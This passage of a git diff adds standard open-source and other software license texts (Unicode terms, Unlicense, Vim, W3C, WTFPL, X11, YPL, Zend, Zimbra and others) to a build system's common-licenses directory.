+ 1. This publication and/or website may include technical or typographical errors or other inaccuracies . Changes are periodically added to the information herein; these changes will be incorporated in new editions of the publication and/or website. Unicode may make improvements and/or changes in the product(s) and/or program(s) described in this publication and/or website at any time.
+
+ 2. If this file has been purchased on magnetic or optical media from Unicode, Inc. the sole and exclusive remedy for any claim will be exchange of the defective media within ninety (90) days of original purchase.
+
+ 3. EXCEPT AS PROVIDED IN SECTION C.2, THIS PUBLICATION AND/OR SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND EITHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT. UNICODE AND ITS LICENSORS ASSUME NO RESPONSIBILITY FOR ERRORS OR OMISSIONS IN THIS PUBLICATION AND/OR SOFTWARE OR OTHER DOCUMENTS WHICH ARE REFERENCED BY OR LINKED TO THIS PUBLICATION OR THE UNICODE WEBSITE.
+
+D. Waiver of Damages. In no event shall Unicode or its licensors be liable for any special, incidental, indirect or consequential damages of any kind, or any damages whatsoever, whether or not Unicode was advised of the possibility of the damage, including, without limitation, those resulting from the following: loss of use, data or profits, in connection with the use, modification or distribution of this information or its derivatives.
+
+E. Trademarks & Logos.
+
+ 1. The Unicode Word Mark and the Unicode Logo are trademarks of Unicode, Inc. “The Unicode Consortium” and “Unicode, Inc.” are trade names of Unicode, Inc. Use of the information and materials found on this website indicates your acknowledgement of Unicode, Inc.’s exclusive worldwide rights in the Unicode Word Mark, the Unicode Logo, and the Unicode trade names.
+
+ 2. The Unicode Consortium Name and Trademark Usage Policy (“Trademark Policy”) are incorporated herein by reference and you agree to abide by the provisions of the Trademark Policy, which may be changed from time to time in the sole discretion of Unicode, Inc.
+
+ 3. All third party trademarks referenced herein are the property of their respective owners.
+
+F. Miscellaneous.
+
+ 1. Jurisdiction and Venue. This server is operated from a location in the State of California, United States of America. Unicode makes no representation that the materials are appropriate for use in other locations. If you access this server from other locations, you are responsible for compliance with local laws. This Agreement, all use of this site and any claims and damages resulting from use of this site are governed solely by the laws of the State of California without regard to any principles which would apply the laws of a different jurisdiction. The user agrees that any disputes regarding this site shall be resolved solely in the courts located in Santa Clara County, California. The user agrees said courts have personal jurisdiction and agree to waive any right to transfer the dispute to any other forum.
+
+ 2. Modification by Unicode Unicode shall have the right to modify this Agreement at any time by posting it to this site. The user may not assign any part of this Agreement without Unicode’s prior written consent.
+
+ 3. Taxes. The user agrees to pay any taxes arising from access to this website or use of the information herein, except for those based on Unicode’s net income.
+
+ 4. Severability. If any provision of this Agreement is declared invalid or unenforceable, the remaining provisions of this Agreement shall remain in effect.
+
+ 5. Entire Agreement. This Agreement constitutes the entire agreement between the parties.
diff --git a/meta/files/common-licenses/Unlicense b/meta/files/common-licenses/Unlicense
new file mode 100644
index 0000000000..68a49daad8
--- /dev/null
+++ b/meta/files/common-licenses/Unlicense
@@ -0,0 +1,24 @@
+This is free and unencumbered software released into the public domain.
+
+Anyone is free to copy, modify, publish, use, compile, sell, or
+distribute this software, either in source code form or as a compiled
+binary, for any purpose, commercial or non-commercial, and by any
+means.
+
+In jurisdictions that recognize copyright laws, the author or authors
+of this software dedicate any and all copyright interest in the
+software to the public domain. We make this dedication for the benefit
+of the public at large and to the detriment of our heirs and
+successors. We intend this dedication to be an overt act of
+relinquishment in perpetuity of all present and future rights to this
+software under copyright law.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+
+For more information, please refer to <http://unlicense.org/>
diff --git a/meta/files/common-licenses/VOSTROM b/meta/files/common-licenses/VOSTROM
new file mode 100644
index 0000000000..efd0a63137
--- /dev/null
+++ b/meta/files/common-licenses/VOSTROM
@@ -0,0 +1,27 @@
+VOSTROM Public License for Open Source
+
+Copyright (c) 2007 VOSTROM Holdings, Inc.
+
+This VOSTROM Holdings, Inc. (VOSTROM) Distribution (code and documentation) is made available to the open source community as a public service by VOSTROM. Contact VOSTROM at license@vostrom.com for information on other licensing arrangements (e.g. for use in proprietary applications).
+
+Under this license, this Distribution may be modified and the original version and modified versions may be copied, distributed, publicly displayed and performed provided that the following conditions are met:
+
+1. Modified versions are distributed with source code and documentation and with permission for others to use any code and documentation (whether in original or modified versions) as granted under this license;
+
+2. if modified, the source code, documentation, and user run-time elements should be clearly labeled by placing an identifier of origin (such as a name, initial, or other tag) after the version number;
+
+3. users, modifiers, distributors, and others coming into possession or using the Distribution in original or modified form accept the entire risk as to the possession, use, and performance of the Distribution;
+
+4. this copyright management information (software identifier and version number, copyright notice and license) shall be retained in all versions of the Distribution;
+
+5. VOSTROM may make modifications to the Distribution that are substantially similar to modified versions of the Distribution, and may make, use, sell, copy, distribute, publicly display, and perform such modifications, including making such modifications available under this or other licenses, without obligation or restriction;
+
+6. modifications incorporating code, libraries, and/or documentation subject to any other open source license may be made, and the resulting work may be distributed under the terms of such open source license if required by that open source license, but doing so will not affect this Distribution, other modifications made under this license or modifications made under other VOSTROM licensing arrangements;
+
+7. no permission is granted to distribute, publicly display, or publicly perform modifications to the Distribution made using proprietary materials that cannot be released in source format under conditions of this license;
+
+8. the name of VOSTROM may not be used in advertising or publicity pertaining to Distribution of the software without specific, prior written permission.
+
+This software is made available "as is", and
+
+VOSTROM DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL VOSTROM BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/Vim b/meta/files/common-licenses/Vim
new file mode 100644
index 0000000000..84aaf416b6
--- /dev/null
+++ b/meta/files/common-licenses/Vim
@@ -0,0 +1,30 @@
+VIM LICENSE
+
+I) There are no restrictions on distributing unmodified copies of Vim except that they must include this license text. You can also distribute unmodified parts of Vim, likewise unrestricted except that they must include this license text. You are also allowed to include executables that you made from the unmodified Vim sources, plus your own usage examples and Vim scripts.
+
+II) It is allowed to distribute a modified (or extended) version of Vim, including executables and/or source code, when the following four conditions are met:
+
+ 1) This license text must be included unmodified.
+
+ 2) The modified Vim must be distributed in one of the following five ways:
+
+ a) If you make changes to Vim yourself, you must clearly describe in the distribution how to contact you. When the maintainer asks you (in any way) for a copy of the modified Vim you distributed, you must make your changes, including source code, available to the maintainer without fee. The maintainer reserves the right to include your changes in the official version of Vim. What the maintainer will do with your changes and under what license they will be distributed is negotiable. If there has been no negotiation then this license, or a later version, also applies to your changes. The current maintainer is Bram Moolenaar <Bram@vim.org>. If this changes it will be announced in appropriate places (most likely vim.sf.net, www.vim.org and/or comp.editors). When it is completely impossible to contact the maintainer, the obligation to send him your changes ceases. Once the maintainer has confirmed that he has received your changes they will not have to be sent again.
+
+ b) If you have received a modified Vim that was distributed as mentioned under a) you are allowed to further distribute it unmodified, as mentioned at I). If you make additional changes the text under a) applies to those changes.
+
+ c) Provide all the changes, including source code, with every copy of the modified Vim you distribute. This may be done in the form of a context diff. You can choose what license to use for new code you add. The changes and their license must not restrict others from making their own changes to the official version of Vim.
+
+ d) When you have a modified Vim which includes changes as mentioned under c), you can distribute it without the source code for the changes if the following three conditions are met:
+ - The license that applies to the changes permits you to distribute the changes to the Vim maintainer without fee or restriction, and permits the Vim maintainer to include the changes in the official version of Vim without fee or restriction.
+ - You keep the changes for at least three years after last distributing the corresponding modified Vim. When the maintainer or someone who you distributed the modified Vim to asks you (in any way) for the changes within this period, you must make them available to him.
+ - You clearly describe in the distribution how to contact you. This contact information must remain valid for at least three years after last distributing the corresponding modified Vim, or as long as possible.
+
+ e) When the GNU General Public License (GPL) applies to the changes, you can distribute the modified Vim under the GNU GPL version 2 or any later version.
+
+ 3) A message must be added, at least in the output of the ":version" command and in the intro screen, such that the user of the modified Vim is able to see that it was modified. When distributing as mentioned under 2)e) adding the message is only required for as far as this does not conflict with the license used for the changes.
+
+ 4) The contact information as required under 2)a) and 2)d) must not be removed or changed, except that the person himself can make corrections.
+
+III) If you distribute a modified version of Vim, you are encouraged to use the Vim license for your changes and make them available to the maintainer, including the source code. The preferred way to do this is by e-mail or by uploading the files to a server and e-mailing the URL. If the number of changes is small (e.g., a modified Makefile) e-mailing a context diff will do. The e-mail address to be used is <maintainer@vim.org>
+
+IV) It is not allowed to remove this license from the distribution of the Vim sources, parts of it or from a modified version. You may use this license for previous Vim releases instead of the license that they came with, at your option.
diff --git a/meta/files/common-licenses/W3C-19980720 b/meta/files/common-licenses/W3C-19980720
new file mode 100644
index 0000000000..a8554039ef
--- /dev/null
+++ b/meta/files/common-licenses/W3C-19980720
@@ -0,0 +1,23 @@
+W3C® SOFTWARE NOTICE AND LICENSE
+
+Copyright (c) 1994-2002 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/
+
+This W3C work (including software, documents, or other related items) is being provided by the copyright holders under the following license. By obtaining, using and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions:
+
+Permission to use, copy, modify, and distribute this software and its documentation, with or without modification,  for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the software and documentation or portions thereof, including modifications, that you make:
+
+ 1. The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+
+ 2. Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, a short notice of the following form (hypertext is preferred, text is permitted) should be used within the body of any redistributed or derivative code: "Copyright © [$date-of-software] World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/"
+
+ 3. Notice of any changes or modifications to the W3C files, including the date changes were made. (We recommend you provide URIs to the location from which the code is derived.)
+
+THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the software without specific, written prior permission. Title to copyright in this software and any associated documentation will at all times remain with copyright holders.
+
+____________________________________
+
+This formulation of W3C's notice and license became active on August 14 1998 so as to improve compatibility with GPL. This version ensures that W3C software licensing terms are no more restrictive than GPL and consequently W3C software may be distributed in GPL packages. See the older formulation for the policy prior to this date. Please see our Copyright FAQ for common questions about using materials from our site, including specific terms and conditions for packages like libwww, Amaya, and Jigsaw. Other questions about this notice can be directed to site-policy@w3.org.
diff --git a/meta/files/common-licenses/W3C-20150513 b/meta/files/common-licenses/W3C-20150513
new file mode 100644
index 0000000000..abe1af9ae3
--- /dev/null
+++ b/meta/files/common-licenses/W3C-20150513
@@ -0,0 +1,17 @@
+This work is being provided by the copyright holders under the following license.
+
+License
+By obtaining and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions.
+
+Permission to copy, modify, and distribute this work, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the work or portions thereof, including modifications:
+
+ • The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+ • Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, the W3C Software and Document Short Notice should be included.
+ • Notice of any changes or modifications, through a copyright statement on the new code or document such as "This software or document includes material copied from or derived from [title and URI of the W3C document]. Copyright (c) [YEAR] W3C® (MIT, ERCIM, Keio, Beihang)."
+
+Disclaimers
+THIS WORK IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENT WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENT.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the work without specific, written prior permission. Title to copyright in this work will at all times remain with copyright holders.
diff --git a/meta/files/common-licenses/WTFPL b/meta/files/common-licenses/WTFPL
new file mode 100644
index 0000000000..7a3094a826
--- /dev/null
+++ b/meta/files/common-licenses/WTFPL
@@ -0,0 +1,11 @@
+DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+Version 2, December 2004
+
+Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
+
+Everyone is permitted to copy and distribute verbatim or modified copies of this license document, and changing it is allowed as long as the name is changed.
+
+DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. You just DO WHAT THE FUCK YOU WANT TO.
diff --git a/meta/files/common-licenses/Wsuipa b/meta/files/common-licenses/Wsuipa
new file mode 100644
index 0000000000..8a37a28d61
--- /dev/null
+++ b/meta/files/common-licenses/Wsuipa
@@ -0,0 +1,5 @@
+This file was added by Clea F. Rees on 2008/11/30 with the permission of Dean Guenther and pointers to this file were added to all source files.
+
+Unlimited copying and redistribution of each of the files is permitted as long as the file is not modified. Modifications, and redistribution of modified versions, are also permitted, but only if the resulting file is renamed.
+
+The copyright holder is Washington State University. The original author of the fonts is Janene Winter. The primary contact (as of 2008) is Dean Guenther.
diff --git a/meta/files/common-licenses/X11 b/meta/files/common-licenses/X11
new file mode 100644
index 0000000000..6b41092f29
--- /dev/null
+++ b/meta/files/common-licenses/X11
@@ -0,0 +1,13 @@
+X11 License
+
+Copyright (C) 1996 X Consortium
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of the X Consortium shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from the X Consortium.
+
+X Window System is a trademark of X Consortium, Inc.
diff --git a/meta/files/common-licenses/XSkat b/meta/files/common-licenses/XSkat
new file mode 100644
index 0000000000..0b77a07877
--- /dev/null
+++ b/meta/files/common-licenses/XSkat
@@ -0,0 +1,10 @@
+This program is free software; you can redistribute it freely.
+Use it at your own risk; there is NO WARRANTY.
+
+Redistribution of modified versions is permitted provided that the following conditions are met:
+
+1. All copyright & permission notices are preserved.
+
+2.a) Only changes required for packaging or porting are made.
+ or
+2.b) It is clearly stated who last changed the program. The program is renamed or the version number is of the form x.y.z, where x.y is the version of the original program and z is an arbitrary suffix.
diff --git a/meta/files/common-licenses/Xerox b/meta/files/common-licenses/Xerox
new file mode 100644
index 0000000000..0667d0d211
--- /dev/null
+++ b/meta/files/common-licenses/Xerox
@@ -0,0 +1,5 @@
+Copyright (c) 1995, 1996 Xerox Corporation. All Rights Reserved.
+
+Use and copying of this software and preparation of derivative works based upon this software are permitted. Any copy of this software or of any derivative work must include the above copyright notice of Xerox Corporation, this paragraph and the one after it. Any distribution of this software or derivative works must comply with all applicable United States export control laws.
+
+This software is made available AS IS, and XEROX CORPORATION DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND NOTWITHSTANDING ANY OTHER PROVISION CONTAINED HEREIN, ANY LIABILITY FOR DAMAGES RESULTING FROM THE SOFTWARE OR ITS USE IS EXPRESSLY DISCLAIMED, WHETHER ARISING IN CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, EVEN IF XEROX CORPORATION IS ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/YPL-1.0 b/meta/files/common-licenses/YPL-1.0
new file mode 100644
index 0000000000..cfbec9e2f3
--- /dev/null
+++ b/meta/files/common-licenses/YPL-1.0
@@ -0,0 +1,47 @@
+Yahoo! Public License, Version 1.0 (YPL)
+
+This Yahoo! Public License (this "Agreement") is a legal agreement that describes the terms under which Yahoo! Inc., a Delaware corporation having its principal place of business at 701 First Avenue, Sunnyvale, California 94089 ("Yahoo!") will provide software to you via download or otherwise ("Software"). By using the Software, you, an individual or an entity ("You") agree to the terms of this Agreement.
+
+In consideration of the mutual promises and upon the terms and conditions set forth below, the parties agree as follows:
+
+1. Grant of Copyright License
+
+ 1.1 - Subject to the terms and conditions of this Agreement, Yahoo! hereby grants to You, under any and all of its copyright interest in and to the Software, a royalty-free, non-exclusive, non-transferable license to copy, modify, compile, execute, and distribute the Software and Modifications. For the purposes of this Agreement, any change to, addition to, or abridgement of the Software made by You is a "Modification;" however, any file You add to the Software that does not contain any part of the Software is not a "Modification."
+
+ 1.2 - If You are an individual acting on behalf of a corporation or other entity, Your use of the Software or any Modification is subject to Your having the authority to bind such corporation or entity to this Agreement. Providing copies to persons within such corporation or entity is not considered distribution for purposes of this Agreement.
+
+ 1.3 - For the Software or any Modification You distribute in source code format, You must do so only under the terms of this Agreement, and You must include a complete copy of this Agreement with Your distribution. With respect to any Modification You distribute in source code format, the terms of this Agreement will apply to You in the same way those terms apply to Yahoo! with respect to the Software. In other words, when You are distributing Modifications under this Agreement, You "stand in the shoes" of Yahoo! in terms of the rights You grant and how the terms and conditions apply to You and the licensees of Your Modifications. Notwithstanding the foregoing, when You "stand in the shoes" of Yahoo!, You are not subject to the jurisdiction provision under Section 7, which requires all disputes under this Agreement to be subject to the jurisdiction of federal or state courts of northern California.
+
+ 1.4 - For the Software or any Modification You distribute in compiled or object code format, You must also provide recipients with access to the Software or Modification in source code format along with a complete copy of this Agreement. The distribution of the Software or Modifications in compiled or object code format may be under a license of Your choice, provided that You are in compliance with the terms of this Agreement. In addition, You must make absolutely clear that any license terms applying to such Software or Modification that differ from this Agreement are offered by You alone and not by Yahoo!, and that such license does not restrict recipients from exercising rights in the source code to the Software granted by Yahoo! under this Agreement or rights in the source code to any Modification granted by You as described in Section 1.3.
+
+ 1.5 - This Agreement does not limit Your right to distribute files that are entirely Your own work (i.e., which do not incorporate any portion of the Software and are not Modifications) under any terms You choose.
+
+2. Support
+Yahoo! has no obligation to provide technical support or updates to You. Nothing in this Agreement requires Yahoo! to enter into any license with You for any other edition of the Software.
+
+3. Intellectual Property Rights
+
+ 3.1 - Except for the license expressly granted under copyright in Section 1.1, no rights, licenses or forbearances are granted or may arise in relation to this Agreement whether expressly, by implication, exhaustion, estoppel or otherwise. All rights, including all intellectual property rights, that are not expressly granted under this Agreement are hereby reserved.
+
+ 3.2 - In any copy of the Software or in any Modification you create, You must retain and reproduce, any and all copyright, patent, trademark, and attribution notices that are included in the Software in the same form as they appear in the Software. This includes the preservation of attribution notices in the form of trademarks or logos that exist within a user interface of the Software.
+
+ 3.3 - This license does not grant You rights to use any party's name, logo, or trademarks, except solely as necessary to comply with Section 3.2.
+
+4. Disclaimer of Warranties
+THE SOFTWARE IS PROVIDED "AS IS" AND WITHOUT WARRANTY OF ANY KIND. YAHOO! MAKES NO WARRANTIES, WHETHER EXPRESS, IMPLIED, OR STATUTORY REGARDING OR RELATING TO THE SOFTWARE. SPECIFICALLY, YAHOO! DOES NOT WARRANT THAT THE SOFTWARE WILL BE ERROR FREE OR WILL PERFORM IN AN UNINTERRUPTED MANNER. TO THE GREATEST EXTENT ALLOWED BY LAW, YAHOO! SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE (EVEN IF YAHOO! HAD BEEN INFORMED OF SUCH PURPOSE), AND NONINFRINGEMENT WITH RESPECT TO THE SOFTWARE, ANY MODIFICATIONS THERETO AND WITH RESPECT TO THE USE OF THE FOREGOING.
+
+5. Limitation of Liability
+IN NO EVENT WILL YAHOO! BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES OF ANY KIND (INCLUDING WITHOUT LIMITATION LOSS OF PROFITS, LOSS OF USE, BUSINESS INTERRUPTION, LOSS OF DATA, COST OF COVER) IN CONNECTION WITH OR ARISING OUT OF OR RELATING TO THE FURNISHING, PERFORMANCE OR USE OF THE SOFTWARE OR ANY OTHER RIGHTS GRANTED HEREUNDER, WHETHER ALLEGED AS A BREACH OF CONTRACT OR TORTIOUS CONDUCT, INCLUDING NEGLIGENCE, AND EVEN IF YAHOO! HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Term and Termination
+
+ 6.1 - This Agreement will continue in effect unless and until terminated earlier pursuant to this Section 6.
+
+ 6.2 - In the event Yahoo! determines that You have breached this Agreement, Yahoo! may terminate this Agreement.
+
+ 6.3 - All licenses granted hereunder shall terminate upon the termination of this Agreement. Termination will be in addition to any rights and remedies available to Yahoo! at law or equity or under this Agreement.
+
+ 6.4 - Termination of this Agreement will not affect the provisions regarding reservation of rights (Section 3.1), provisions disclaiming or limiting Yahoo!'s liability (Sections 4 and 5), Termination (Section 6) or Miscellaneous (Section 7), which provisions will survive termination of this Agreement.
+
+7. Miscellaneous
+This Agreement contains the entire agreement of the parties with respect to the subject matter of this Agreement and supersedes all previous communications, representations, understandings and agreements, either oral or written, between the parties with respect to said subject matter. The relationship of the parties hereunder is that of independent contractors, and this Agreement will not be construed as creating an agency, partnership, joint venture or any other form of legal association between the parties. If any term, condition, or provision in this Agreement is found to be invalid, unlawful or unenforceable to any extent, this Agreement will be construed in a manner that most closely effectuates the intent of this Agreement. Such invalid term, condition or provision will be severed from the remaining terms, conditions and provisions, which will continue to be valid and enforceable to the fullest extent permitted by law. This Agreement will be interpreted and construed in accordance with the laws of the State of California and the United States of America, without regard to conflict of law principles. The U.N. Convention on Contracts for the International Sale of Goods shall not apply to this Agreement. All disputes arising out of this Agreement involving Yahoo! or any of its subsidiaries shall be subject to the jurisdiction of the federal or state courts of northern California, with venue lying in Santa Clara County, California. No rights may be assigned, no obligations may be delegated, and this Agreement may not be transferred by You, in whole or in part, whether voluntary or by operation of law, including by way of sale of assets, merger or consolidation, without the prior written consent of Yahoo!, and any purported assignment, delegation or transfer without such consent shall be void ab initio. Any waiver of the provisions of this Agreement or of a party's rights or remedies under this Agreement must be in writing to be effective. Failure, neglect or delay by a party to enforce the provisions of this Agreement or its rights or remedies at any time, will not be construed or be deemed to be a waiver of such party's rights under this Agreement and will not in any way affect the validity of the whole or any part of this Agreement or prejudice such party's right to take subsequent action.
diff --git a/meta/files/common-licenses/Zed b/meta/files/common-licenses/Zed
new file mode 100644
index 0000000000..5f7cd2cc05
--- /dev/null
+++ b/meta/files/common-licenses/Zed
@@ -0,0 +1,3 @@
+(c) Jim Davies, January 1995
+You may copy and distribute this file freely. Any queries and complaints should be forwarded to Jim.Davies@comlab.ox.ac.uk.
+If you make any changes to this file, please do not distribute the results under the name `zed-csp.sty'.
diff --git a/meta/files/common-licenses/Zend-2.0 b/meta/files/common-licenses/Zend-2.0
new file mode 100644
index 0000000000..c9b5144e1e
--- /dev/null
+++ b/meta/files/common-licenses/Zend-2.0
@@ -0,0 +1,18 @@
+The Zend Engine License, version 2.00
+Copyright (c) 1999-2002 Zend Technologies Ltd. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, is permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ 3. The names "Zend" and "Zend Engine" must not be used to endorse or promote products derived from this software without prior permission from Zend Technologies Ltd. For written permission, please contact license@zend.com.
+
+ 4. Zend Technologies Ltd. may publish revised and/or new versions of the license from time to time. Each version will be given a distinguishing version number. Once covered code has been published under a particular version of the license, you may always continue to use it under the terms of that version. You may also choose to use such covered code under the terms of any subsequent version of the license published by Zend Technologies Ltd. No one other than Zend Technologies Ltd. has the right to modify the terms applicable to covered code created under this License.
+
+ 5. Redistributions of any form whatsoever must retain the following acknowledgment: "This product includes the Zend Engine, freely available at http://www.zend.com"
+
+ 6. All advertising materials mentioning features or use of this software must display the following acknowledgment: "The Zend Engine is freely available at http://www.zend.com"
+
+THIS SOFTWARE IS PROVIDED BY ZEND TECHNOLOGIES LTD. ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ZEND TECHNOLOGIES LTD. BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Zimbra-1.4 b/meta/files/common-licenses/Zimbra-1.4
new file mode 100644
index 0000000000..868e4d878b
--- /dev/null
+++ b/meta/files/common-licenses/Zimbra-1.4
@@ -0,0 +1,47 @@
+Zimbra Public License, Version 1.4 (ZPL)
+
+This Zimbra Public License (this “Agreement”) is a legal agreement that describes the terms under which Zimbra, Inc., a Texas corporation (“Zimbra”) will provide software to you via download or otherwise (“Software”). By using the Software, you, an individual or an entity (“You”) agree to the terms of this Agreement.
+
+In consideration of the mutual promises and upon the terms and conditions set forth below, the parties agree as follows:
+
+1. Grant of Copyright License
+
+ 1.1 - Subject to the terms and conditions of this Agreement, Zimbra hereby grants to You, under any and all of its copyright interest in and to the Software, a royalty-free, non-exclusive, non-transferable license to copy, modify, compile, execute, and distribute the Software and Modifications. For the purposes of this Agreement, any change to, addition to, or abridgement of the Software made by You is a “Modification;” however, any file You add to the Software that does not contain any part of the Software is not a “Modification.”
+
+ 1.2 - If You are an individual acting on behalf of a corporation or other entity, Your use of the Software or any Modification is subject to Your having the authority to bind such corporation or entity to this Agreement. Providing copies to persons within such corporation or entity is not considered distribution for purposes of this Agreement.
+
+ 1.3 - For the Software or any Modification You distribute in source code format, You must do so only under the terms of this Agreement, and You must include a complete copy of this Agreement with Your distribution. With respect to any Modification You distribute in source code format, the terms of this Agreement will apply to You in the same way those terms apply to Zimbra with respect to the Software. In other words, when You are distributing Modifications under this Agreement, You “stand in the shoes” of Zimbra in terms of the rights You grant and how the terms and conditions apply to You and the licensees of Your Modifications. Notwithstanding the foregoing, when You “stand in the shoes” of Zimbra, You are not subject to the jurisdiction provision under Section 7, which requires all disputes under this Agreement to be subject to the jurisdiction of federal or state courts of Northern Texas.
+
